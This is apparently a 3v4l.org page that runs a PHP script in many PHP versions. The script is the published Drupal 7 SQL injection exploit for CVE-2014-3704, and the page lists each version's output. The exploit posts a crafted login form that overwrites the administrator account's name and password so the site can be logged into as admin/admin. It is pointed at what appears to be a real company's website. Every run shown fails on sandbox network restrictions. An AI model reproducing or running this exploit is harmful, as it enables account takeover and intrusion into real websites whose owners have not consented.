3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'https://www.jnjbrasil.com.br/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Deprecated: file_get_contents(): Passing null to parameter #2 ($use_include_path) of type bool is deprecated in /in/98Y6S on line 22 Warning: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(): open_basedir restriction in effect. File(https://www.jnjbrasil.com.br/?q=node&destination=node) is not within the allowed path(s): (/tmp:/in:/etc) in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): Failed to open stream: Operation not permitted in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 8.0.0 - 8.0.12, 8.0.14 - 8.0.30
Warning: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(): open_basedir restriction in effect. File(https://www.jnjbrasil.com.br/?q=node&destination=node) is not within the allowed path(s): (/tmp:/in:/etc) in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): Failed to open stream: Operation not permitted in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 8.0.13
Warning: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): Failed to open stream: No such file or directory in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.34, 7.3.32 - 7.3.33, 7.4.33
Warning: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): failed to open stream: No such file or directory in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.31, 7.4.0 - 7.4.32
Warning: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(): open_basedir restriction in effect. File(https://www.jnjbrasil.com.br/?q=node&destination=node) is not within the allowed path(s): (/tmp:/in:/etc) in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): failed to open stream: Operation not permitted in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 7.1.20, 7.2.6
Warning: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(): open_basedir restriction in effect. File(https://www.jnjbrasil.com.br/?q=node&destination=node) is not within the allowed path(s): (/tmp:/in) in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): failed to open stream: Operation not permitted in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.4.35 - 5.4.45, 5.5.33, 5.6.18 - 5.6.19, 7.0.4, 7.0.20, 7.1.5 - 7.1.10, 7.2.0
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: System error in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): failed to open stream: php_network_getaddresses: getaddrinfo failed: System error in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.5.24 - 5.5.32, 5.5.34 - 5.5.35, 5.6.7 - 5.6.17, 5.6.20 - 5.6.28, 7.0.0 - 7.0.3, 7.0.5 - 7.0.14, 7.1.0
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: file_get_contents(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in /in/98Y6S on line 22 Warning: file_get_contents(https://www.jnjbrasil.com.br/?q=node&destination=node): failed to open stream: No such file or directory in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9
Warning: file_get_contents() expects at most 2 parameters, 3 given in /in/98Y6S on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
preferences:
232.98 ms | 402 KiB | 313 Q